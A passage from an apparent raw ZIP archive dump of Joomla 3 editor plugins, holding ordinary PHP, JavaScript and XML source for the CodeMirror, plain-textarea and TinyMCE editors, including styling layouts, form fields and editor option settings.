							cm.findModeByName(editor.options.mode || '') ||
							cm.findModeByExtension(editor.options.mode || '');

				cm.autoLoadMode(editor, mode ? mode.mode : editor.options.mode);

				if (mode && mode.mime)
				{
					editor.setOption('mode', mode.mime);
				}

				// Handle gutter clicks (place or remove a marker).
				editor.on('gutterClick', function (ed, n, gutter) {
					if (gutter != 'CodeMirror-markergutter') { return; }
					var info = ed.lineInfo(n),
						hasMarker = !!info.gutterMarkers &&
!!info.gutterMarkers['CodeMirror-markergutter'];
					ed.setGutterMarker(n, 'CodeMirror-markergutter', hasMarker ?
null : makeMarker());
				});

				// jQuery's ready function.
				$(function () {
					// Some browsers do something weird with the fieldset which
doesn't work well with CodeMirror. Fix it.
					$(editor.getWrapperElement()).parent('fieldset').css('min-width',
0);
					// Listen for Bootstrap's 'shown' event. If this editor
was in a hidden element when created, it may need to be refreshed.
					$(document.body).on('shown shown.bs.tab shown.bs.modal',
function () { editor.refresh(); });
				});
			});

			function makeMarker()
			{
				var marker = document.createElement('div');
				marker.className = 'CodeMirror-markergutter-mark';
				return marker;
			}

			// Initialize any CodeMirrors on page load and when a subform is added
			$(function ($) {
				initCodeMirror();
				$('body').on('subform-row-add', initCodeMirror);
			});

			function initCodeMirror(event, container)
			{
				container = container || document;
				$(container).find('textarea.codemirror-source').each(function
() {
					var input = $(this).removeClass('codemirror-source');
					var id = input.prop('id');

					Joomla.editors.instances[id] = cm.fromTextArea(this,
input.data('options'));
				});
			}

		}(CodeMirror, jQuery));
JS
);
PK
��[�
aO	O	0codemirror/layouts/editors/codemirror/styles.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$params     = $displayData->params;
$fontFamily = isset($displayData->fontFamily) ?
$displayData->fontFamily : 'monospace';
$fontSize   = $params->get('fontSize', 13) . 'px;';
$lineHeight = $params->get('lineHeight', 1.2) .
'em;';

// Set the active line color.
$color           = $params->get('activeLineColor',
'#a4c2eb');
$r               = hexdec($color[1] . $color[2]);
$g               = hexdec($color[3] . $color[4]);
$b               = hexdec($color[5] . $color[6]);
$activeLineColor = 'rgba(' . $r . ', ' . $g . ',
' . $b . ', .5)';

// Set the color for matched tags.
$color               = $params->get('highlightMatchColor',
'#fa542f');
$r                   = hexdec($color[1] . $color[2]);
$g                   = hexdec($color[3] . $color[4]);
$b                   = hexdec($color[5] . $color[6]);
$highlightMatchColor = 'rgba(' . $r . ', ' . $g .
', ' . $b . ', .5)';

JFactory::getDocument()->addStyleDeclaration(
<<<CSS
		.CodeMirror
		{
			font-family: $fontFamily;
			font-size: $fontSize;
			line-height: $lineHeight;
			border: 1px solid #ccc;
		}
		/* In order to hid the Joomla menu */
		.CodeMirror-fullscreen
		{
			z-index: 1040;
		}
		/* Make the fold marker a little more visible/nice */
		.CodeMirror-foldmarker
		{
			background: rgb(255, 128, 0);
			background: rgba(255, 128, 0, .5);
			box-shadow: inset 0 0 2px rgba(255, 255, 255, .5);
			font-family: serif;
			font-size: 90%;
			border-radius: 1em;
			padding: 0 1em;
			vertical-align: middle;
			color: white;
			text-shadow: none;
		}
		.CodeMirror-foldgutter, .CodeMirror-markergutter { width: 1.2em;
text-align: center; }
		.CodeMirror-markergutter { cursor: pointer; }
		.CodeMirror-markergutter-mark { cursor: pointer; text-align: center; }
		.CodeMirror-markergutter-mark:after { content: "\25CF"; }
		.CodeMirror-activeline-background { background: $activeLineColor; }
		.CodeMirror-matchingtag { background: $highlightMatchColor; }
		.cm-matchhighlight {background-color: $highlightMatchColor; }
		.CodeMirror-selection-highlight-scrollbar {background-color:
$highlightMatchColor; }
CSS
);
PK
��[9�'��
none/none.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.none
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plain Textarea Editor Plugin
 *
 * @since  1.5
 */
class PlgEditorNone extends JPlugin
{
	/**
	 * Method to handle the onInitEditor event.
	 *  - Initialises the Editor
	 *
	 * @return  void
	 *
	 * @since 1.5
	 */
	public function onInit()
	{
		JHtml::_('script', 'editors/none/none.min.js',
array('version' => 'auto', 'relative'
=> true));
	}

	/**
	 * Copy editor content to form field.
	 *
	 * Not applicable in this editor.
	 *
	 * @param   string  $editor  the editor id
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSave($editor)
	{
	}

	/**
	 * Get the editor content.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return 'Joomla.editors.instances[' . json_encode($id) .
'].getValue();';
	}

	/**
	 * Set the editor content.
	 *
	 * @param   string  $id    The id of the editor field.
	 * @param   string  $html  The content to set.
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $html)
	{
		return 'Joomla.editors.instances[' . json_encode($id) .
'].setValue(' . json_encode($html) . ');';
	}

	/**
	 * Inserts html code into the editor
	 *
	 * @param   string  $id  The id of the editor field
	 *
	 * @return  void
	 *
	 * @deprecated 4.0
	 */
	public function onGetInsertMethod($id)
	{
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The control name.
	 * @param   string   $content  The contents of the text area.
	 * @param   string   $width    The width of the text area (px or %).
	 * @param   string   $height   The height of the text area (px or %).
	 * @param   integer  $col      The number of columns for the textarea.
	 * @param   integer  $row      The number of rows for the textarea.
	 * @param   boolean  $buttons  True and the editor buttons will be
displayed.
	 * @param   string   $id       An optional ID for the textarea (note:
since 1.6). If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 */
	public function onDisplay($name, $content, $width, $height, $col, $row,
$buttons = true,
		$id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id))
		{
			$id = $name;
		}

		// Only add "px" to width and height if they are not given as a
percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		$readonly = !empty($params['readonly']) ? ' readonly
disabled' : '';

		$editor = '<div class="js-editor-none">'
			. '<textarea name="' . $name . '"
id="' . $id . '" cols="' . $col .
'" rows="' . $row
			. '" style="width: ' . $width . '; height:
' . $height . ';"' . $readonly . '>' .
$content . '</textarea>'
			. $this->_displayButtons($id, $buttons, $asset, $author)
			. '</div>';

		return $editor;
	}

	/**
	 * Displays the editor buttons.
	 *
	 * @param   string  $name     The control name.
	 * @param   mixed   $buttons  [array with button objects | boolean true to
display buttons]
	 * @param   string  $asset    The object asset
	 * @param   object  $author   The author.
	 *
	 * @return  void|string HTML
	 */
	public function _displayButtons($name, $buttons, $asset, $author)
	{
		if (is_array($buttons) || (is_bool($buttons) && $buttons))
		{
			$buttons = $this->_subject->getButtons($name, $buttons, $asset,
$author);

			return JLayoutHelper::render('joomla.editors.buttons',
$buttons);
		}
	}
}
PK
��[���
none/none.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="editors" method="upgrade">
	<name>plg_editors_none</name>
	<version>3.0.0</version>
	<creationDate>September 2005</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<description>PLG_NONE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="none">none.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_editors_none.ini</language>
		<language
tag="en-GB">en-GB.plg_editors_none.sys.ini</language>
	</languages>
</extension>
PK
��[�
�U��tinymce/field/skins.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.form.helper');

JFormHelper::loadFieldClass('list');

/**
 * Generates the list of options for available skins.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.4
 */
class JFormFieldSkins extends JFormFieldList
{
	protected $type = 'skins';

	/**
	 * Method to get the skins options.
	 *
	 * @return  array  The skins option objects.
	 *
	 * @since   3.4
	 */
	public function getOptions()
	{
		$options = array();

		$directories = glob(JPATH_ROOT . '/media/editors/tinymce/skins'
. '/*', GLOB_ONLYDIR);

		for ($i = 0, $iMax = count($directories); $i < $iMax; ++$i)
		{
			$dir = basename($directories[$i]);
			$options[] = JHtml::_('select.option', $i, $dir);
		}

		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}

	/**
	 * Method to get the field input markup for the list of skins.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.4
	 */
	protected function getInput()
	{
		$html = array();

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a regular list.
		$html[] = JHtml::_('select.genericlist', $options,
$this->name, '', 'value', 'text',
$this->value, $this->id);

		return implode($html);
	}
}
PK
��[�i��::
tinymce/field/tinymcebuilder.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Form Field class for the TinyMCE editor.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldTinymceBuilder extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $type = 'tinymcebuilder';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $layout =
'plugins.editors.tinymce.field.tinymcebuilder';

	/**
	 * The prepared layout data
	 *
	 * @var    array
	 * @since  3.7.0
	 */
	protected $layoutData = array();

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since  3.7.0
	 */
	protected function getLayoutData()
	{
		if (!empty($this->layoutData))
		{
			return $this->layoutData;
		}

		$data       = parent::getLayoutData();
		$paramsAll  = (object) $this->form->getValue('params');
		$setsAmount = empty($paramsAll->sets_amount) ? 3 :
$paramsAll->sets_amount;

		if (empty($data['value']))
		{
			$data['value'] = array();
		}

		// Get the plugin
		require_once JPATH_PLUGINS . '/editors/tinymce/tinymce.php';

		$menus = array(
			'edit'   => array('label' =>
'Edit'),
			'insert' => array('label' =>
'Insert'),
			'view'   => array('label' =>
'View'),
			'format' => array('label' =>
'Format'),
			'table'  => array('label' =>
'Table'),
			'tools'  => array('label' =>
'Tools'),
		);

		$data['menus']         = $menus;
		$data['menubarSource'] = array_keys($menus);
		$data['buttons']       = PlgEditorTinymce::getKnownButtons();
		$data['buttonsSource'] =
array_keys($data['buttons']);
		$data['toolbarPreset'] = PlgEditorTinymce::getToolbarPreset();
		$data['setsAmount']    = $setsAmount;

		// Get array of sets names
		for ($i = 0; $i < $setsAmount; $i++)
		{
			$data['setsNames'][$i] =
JText::sprintf('PLG_TINY_SET_TITLE', $i);
		}

		// Prepare the forms for each set
		$setsForms  = array();
		$formsource = JPATH_PLUGINS .
'/editors/tinymce/form/setoptions.xml';

		// Preload an old params for B/C
		$setParams = new stdClass;
		if (!empty($paramsAll->html_width) &&
empty($paramsAll->configuration['setoptions']))
		{
			$plugin = JPluginHelper::getPlugin('editors',
'tinymce');

			JFactory::getApplication()->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING',
'#'), 'warning');

			if (is_object($plugin) && !empty($plugin->params))
			{
				$setParams = (object) json_decode($plugin->params);
			}
		}

		// Collect already used groups
		$groupsInUse = array();

		// Prepare the Set forms, for the set options
		foreach (array_keys($data['setsNames']) as $num)
		{
			$formname = 'set.form.' . $num;
			$control  = $this->name . '[setoptions][' . $num .
']';

			$setsForms[$num] = JForm::getInstance($formname, $formsource,
array('control' => $control));

			// Check whether we already have saved values or it first time or even
old params
			if (empty($this->value['setoptions'][$num]))
			{
				$formValues = $setParams;

				/*
				 * Predefine group:
				 * Set 0: for Administrator, Editor, Super Users (4,7,8)
				 * Set 1: for Registered, Manager (2,6), all else are public
				 */
				$formValues->access = !$num ? array(4,7,8) : ($num === 1 ?
array(2,6) : array());

				// Assign Public to the new Set, but only when it not in use already
				if (empty($formValues->access) && !in_array(1,
$groupsInUse))
				{
					$formValues->access = array(1);
				}
			}
			else
			{
				$formValues = (object) $this->value['setoptions'][$num];
			}

			// Collect already used groups
			if (!empty($formValues->access))
			{
				$groupsInUse = array_merge($groupsInUse, $formValues->access);
			}

			// Bind the values
			$setsForms[$num]->bind($formValues);
		}

		krsort($data['setsNames']);

		$data['setsForms'] = $setsForms;

		// Check for TinyMCE language file
		$language      = JFactory::getLanguage();
		$languageFile1 = 'media/editors/tinymce/langs/' .
$language->getTag() . '.js';
		$languageFile2 = 'media/editors/tinymce/langs/' .
substr($language->getTag(), 0, strpos($language->getTag(),
'-')) . '.js';

		$data['languageFile'] = '';

		if (file_exists(JPATH_ROOT . '/' . $languageFile1))
		{
			$data['languageFile'] = $languageFile1;
		}
		elseif (file_exists(JPATH_ROOT . '/' . $languageFile2))
		{
			$data['languageFile'] = $languageFile2;
		}

		$this->layoutData = $data;

		return $data;
	}

}
PK
��[���iu	u	tinymce/field/uploaddirs.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.form.helper');

JFormHelper::loadFieldClass('folderlist');

/**
 * Generates the list of directories  available for drag and drop upload.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldUploaddirs extends JFormFieldFolderList
{
	protected $type = 'uploaddirs';

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object
representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control
value. This acts as an array container for the field.
	 *                                      For example if the field has
name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being
"bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.7.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		// Get the path in which to search for file options.
		$this->directory   =
JComponentHelper::getParams('com_media')->get('image_path');
		$this->recursive   = true;
		$this->hideDefault = true;

		return $return;
	}

	/**
	 * Method to get the directories options.
	 *
	 * @return  array  The dirs option objects.
	 *
	 * @since   3.7.0
	 */
	public function getOptions()
	{
		return parent::getOptions();
	}

	/**
	 * Method to get the field input markup for the list of directories.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		$html = array();

		// Get the field options.
		$options = (array) $this->getOptions();

		// Reset the non selected value to null
		if ($options[0]->value === '-1')
		{
			$options[0]->value = '';
		}

		// Create a regular list.
		$html[] = JHtml::_('select.genericlist', $options,
$this->name, '', 'value', 'text',
$this->value, $this->id);

		return implode($html);
	}
}
PK
��[6����tinymce/form/setoptions.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<form>
    <field
        name="access"
        type="usergrouplist"
        label="PLG_TINY_FIELD_SETACCESS_LABEL"
        description="PLG_TINY_FIELD_SETACCESS_DESC"
        multiple="true"
        class="access-select"
        labelclass="label label-success"
    />

    <field
        name="skins"
        type="note"
        label="PLG_TINY_FIELD_SKIN_INFO_LABEL"
        description="PLG_TINY_FIELD_SKIN_INFO_DESC"
    />

    <field
        name="skin"
        type="skins"
        label="PLG_TINY_FIELD_SKIN_LABEL"
        description="PLG_TINY_FIELD_SKIN_DESC"
    />

    <field
        name="skin_admin"
        type="skins"
        label="PLG_TINY_FIELD_SKIN_ADMIN_LABEL"
        description="PLG_TINY_FIELD_SKIN_ADMIN_DESC"
    />

    <field
        name="mobile"
        type="radio"
        label="PLG_TINY_FIELD_MOBILE_LABEL"
        description="PLG_TINY_FIELD_MOBILE_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="drag_drop"
        type="radio"
        label="PLG_TINY_FIELD_DRAG_DROP_LABEL"
        description="PLG_TINY_FIELD_DRAG_DROP_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="path"
        type="uploaddirs"
        label="PLG_TINY_FIELD_CUSTOM_PATH_LABEL"
        description="PLG_TINY_FIELD_CUSTOM_PATH_DESC"
        class="input-xxlarge"
        showon="drag_drop:1"
    />

    <field
        name="entity_encoding"
        type="list"
        label="PLG_TINY_FIELD_ENCODING_LABEL"
        description="PLG_TINY_FIELD_ENCODING_DESC"
        default="raw"
        >
        <option
value="named">PLG_TINY_FIELD_VALUE_NAMED</option>
        <option
value="numeric">PLG_TINY_FIELD_VALUE_NUMERIC</option>
        <option
value="raw">PLG_TINY_FIELD_VALUE_RAW</option>
    </field>

    <field
        name="lang_mode"
        type="radio"
        label="PLG_TINY_FIELD_LANGSELECT_LABEL"
        description="PLG_TINY_FIELD_LANGSELECT_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="lang_code"
        type="filelist"
        label="PLG_TINY_FIELD_LANGCODE_LABEL"
        description="PLG_TINY_FIELD_LANGCODE_DESC"
        class="inputbox"
        stripext="1"
        directory="media/editors/tinymce/langs/"
        hide_none="1"
        default="en"
        hide_default="1"
        filter="\.js$"
        size="10"
        showon="lang_mode:0"
    />

    <field
        name="text_direction"
        type="list"
        label="PLG_TINY_FIELD_DIRECTION_LABEL"
        description="PLG_TINY_FIELD_DIRECTION_DESC"
        default="ltr"
        >
        <option
value="ltr">PLG_TINY_FIELD_VALUE_LTR</option>
        <option
value="rtl">PLG_TINY_FIELD_VALUE_RTL</option>
    </field>

    <field
        name="content_css"
        type="radio"
        label="PLG_TINY_FIELD_CSS_LABEL"
        description="PLG_TINY_FIELD_CSS_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="content_css_custom"
        type="text"
        label="PLG_TINY_FIELD_CUSTOM_CSS_LABEL"
        description="PLG_TINY_FIELD_CUSTOM_CSS_DESC"
        class="input-xxlarge"
    />

    <field
        name="relative_urls"
        type="list"
        label="PLG_TINY_FIELD_URLS_LABEL"
        description="PLG_TINY_FIELD_URLS_DESC"
        default="1"
        >
        <option
value="0">PLG_TINY_FIELD_VALUE_ABSOLUTE</option>
        <option
value="1">PLG_TINY_FIELD_VALUE_RELATIVE</option>
    </field>

    <field
        name="newlines"
        type="list"
        label="PLG_TINY_FIELD_NEWLINES_LABEL"
        description="PLG_TINY_FIELD_NEWLINES_DESC"
        default="0"
        >
        <option
value="1">PLG_TINY_FIELD_VALUE_BR</option>
        <option
value="0">PLG_TINY_FIELD_VALUE_P</option>
    </field>

    <field
        name="use_config_textfilters"
        type="radio"
        label="PLG_TINY_CONFIG_TEXTFILTER_ACL_LABEL"
        description="PLG_TINY_CONFIG_TEXTFILTER_ACL_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="invalid_elements"
        type="text"
        label="PLG_TINY_FIELD_PROHIBITED_LABEL"
        description="PLG_TINY_FIELD_PROHIBITED_DESC"
        showon="use_config_textfilters:0"
        default="script,applet,iframe"
        class="input-xxlarge"
    />

    <field
        name="valid_elements"
        type="text"
        label="PLG_TINY_FIELD_VALIDELEMENTS_LABEL"
        description="PLG_TINY_FIELD_VALIDELEMENTS_DESC"
        showon="use_config_textfilters:0"
        class="input-xxlarge"
    />

    <field
        name="extended_elements"
        type="text"
        label="PLG_TINY_FIELD_ELEMENTS_LABEL"
        description="PLG_TINY_FIELD_ELEMENTS_DESC"
        showon="use_config_textfilters:0"
        class="input-xxlarge"
    />

    <!-- Extra plugins -->
    <field
        name="resizing"
        type="radio"
        label="PLG_TINY_FIELD_RESIZING_LABEL"
        description="PLG_TINY_FIELD_RESIZING_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="resize_horizontal"
        type="radio"
        label="PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL"
        description="PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        showon="resizing:1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="element_path"
        type="radio"
        label="PLG_TINY_FIELD_PATH_LABEL"
        description="PLG_TINY_FIELD_PATH_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="wordcount"
        type="radio"
        label="PLG_TINY_FIELD_WORDCOUNT_LABEL"
        description="PLG_TINY_FIELD_WORDCOUNT_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="image_advtab"
        type="radio"
        label="PLG_TINY_FIELD_ADVIMAGE_LABEL"
        description="PLG_TINY_FIELD_ADVIMAGE_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="advlist"
        type="radio"
        label="PLG_TINY_FIELD_ADVLIST_LABEL"
        description="PLG_TINY_FIELD_ADVLIST_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="contextmenu"
        type="radio"
        label="PLG_TINY_FIELD_CONTEXTMENU_LABEL"
        description="PLG_TINY_FIELD_CONTEXTMENU_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="custom_plugin"
        type="text"
        label="PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL"
        description="PLG_TINY_FIELD_CUSTOMPLUGIN_DESC"
        class="input-xxlarge"
    />

    <field
        name="custom_button"
        type="text"
        label="PLG_TINY_FIELD_CUSTOMBUTTON_LABEL"
        description="PLG_TINY_FIELD_CUSTOMBUTTON_DESC"
        class="input-xxlarge"
    />
</form>PK
��[u�K����tinymce/tinymce.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

/**
 * TinyMCE Editor Plugin
 *
 * @since  1.5
 */
class PlgEditorTinymce extends JPlugin
{
	/**
	 * Base path for editor files
	 *
	 * @since  3.5
	 */
	protected $_basePath = 'media/editors/tinymce';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Loads the application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app = null;

	/**
	 * Initialises the Editor.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onInit()
	{
		JHtml::_('behavior.core');
		JHtml::_('behavior.polyfill', array('event'),
'lt IE 9');
		JHtml::_('script', $this->_basePath .
'/tinymce.min.js', array('version' =>
'auto'));
		JHtml::_('script', 'editors/tinymce/tinymce.min.js',
array('version' => 'auto', 'relative'
=> true));
	}

	/**
	 * TinyMCE WYSIWYG Editor - get the editor content
	 *
	 * @param   string  $id  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return 'Joomla.editors.instances[' . json_encode($id) .
'].getValue();';
	}

	/**
	 * TinyMCE WYSIWYG Editor - set the editor content
	 *
	 * @param   string  $id    The name of the editor
	 * @param   string  $html  The html to place in the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $html)
	{
		return 'Joomla.editors.instances[' . json_encode($id) .
'].setValue(' . json_encode($html) . ');';
	}

	/**
	 * TinyMCE WYSIWYG Editor - copy editor content to form field
	 *
	 * @param   string  $id  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSave($id)
	{
	}

	/**
	 * Inserts html code into the editor
	 *
	 * @param   string  $name  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 3.5 tinyMCE (API v4) will get the content automatically
from the text area
	 */
	public function onGetInsertMethod($name)
	{
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The name of the editor area.
	 * @param   string   $content  The content of the field.
	 * @param   string   $width    The width of the editor area.
	 * @param   string   $height   The height of the editor area.
	 * @param   int      $col      The number of columns for the editor area.
	 * @param   int      $row      The number of rows for the editor area.
	 * @param   boolean  $buttons  True and the editor buttons will be
displayed.
	 * @param   string   $id       An optional ID for the textarea. If not
supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 */
	public function onDisplay(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id =
null, $asset = null, $author = null, $params = array())
	{
		$app = JFactory::getApplication();

		// Check for old params for B/C
		$config_warn_count =
$app->getUserState('plg_editors_tinymce.config_legacy_warn_count',
0);

		if ($this->params->exists('mode') &&
$this->params->exists('alignment'))
		{
			if ($app->isClient('administrator') &&
$config_warn_count < 2)
			{
				$link =
JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id='
. $this->getPluginId());
				$app->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING',
$link), 'warning');
				$app->setUserState('plg_editors_tinymce.config_legacy_warn_count',
++$config_warn_count);
			}

			return $this->onDisplayLegacy($name, $content, $width, $height, $col,
$row, $buttons, $id, $asset, $author, $params);
		}

		if (empty($id))
		{
			$id = $name;
		}

		$id            = preg_replace('/(\s|[^A-Za-z0-9_])+/',
'_', $id);
		$nameGroup     = explode('[',
preg_replace('/\[\]|\]/', '', $name));
		$fieldName     = end($nameGroup);
		$scriptOptions = array();

		// Check for existing options
		$doc     = JFactory::getDocument();
		$options = $doc->getScriptOptions('plg_editor_tinymce');

		// Only add "px" to width and height if they are not given as a
percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		// Data object for the layout
		$textarea = new stdClass;
		$textarea->name    = $name;
		$textarea->id      = $id;
		$textarea->class   = 'mce_editable joomla-editor-tinymce';
		$textarea->cols    = $col;
		$textarea->rows    = $row;
		$textarea->width   = $width;
		$textarea->height  = $height;
		$textarea->content = $content;

		// Set editor to readonly mode
		$textarea->readonly = !empty($params['readonly']);

		// Render Editor markup
		$editor = '<div class="js-editor-tinymce">';
		$editor .= JLayoutHelper::render('joomla.tinymce.textarea',
$textarea);
		$editor .= $this->_toogleButton($id);
		$editor .= '</div>';

		// Prepare the instance specific options, actually the ext-buttons
		if
(empty($options['tinyMCE'][$fieldName]['joomlaExtButtons']))
		{
			$btns = $this->tinyButtons($id, $buttons);

			if (!empty($btns['names']))
			{
				JHtml::_('script',
'editors/tinymce/tiny-close.min.js', array('version'
=> 'auto', 'relative' => true),
array('defer' => 'defer'));
			}

			// Set editor to readonly mode
			if (!empty($params['readonly']))
			{
				$options['tinyMCE'][$fieldName]['readonly'] = 1;
			}

			$options['tinyMCE'][$fieldName]['joomlaMergeDefaults']
= true;
			$options['tinyMCE'][$fieldName]['joomlaExtButtons'] 
  = $btns;

			$doc->addScriptOptions('plg_editor_tinymce', $options,
false);
		}

		// Setup Default (common) options for the Editor script

		// Check whether we already have them
		if (!empty($options['tinyMCE']['default']))
		{
			return $editor;
		}

		$user     = JFactory::getUser();
		$language = JFactory::getLanguage();
		$theme    = 'modern';
		$ugroups  = array_combine($user->getAuthorisedGroups(),
$user->getAuthorisedGroups());

		// Prepare the parameters
		$levelParams      = new Joomla\Registry\Registry;
		$extraOptions     = new stdClass;
		$toolbarParams    = new stdClass;
		$extraOptionsAll  =
$this->params->get('configuration.setoptions', array());
		$toolbarParamsAll =
$this->params->get('configuration.toolbars', array());

		// Get configuration depend from User group
		foreach ($extraOptionsAll as $set => $val)
		{
			$val->access = empty($val->access) ? array() : $val->access;

			// Check whether User in one of allowed group
			foreach ($val->access as $group)
			{
				if (isset($ugroups[$group]))
				{
					$extraOptions  = $val;
					$toolbarParams = $toolbarParamsAll->$set;
				}
			}
		}

		// Merge the params
		$levelParams->loadObject($toolbarParams);
		$levelParams->loadObject($extraOptions);

		// List the skins
		$skindirs = glob(JPATH_ROOT . '/media/editors/tinymce/skins' .
'/*', GLOB_ONLYDIR);
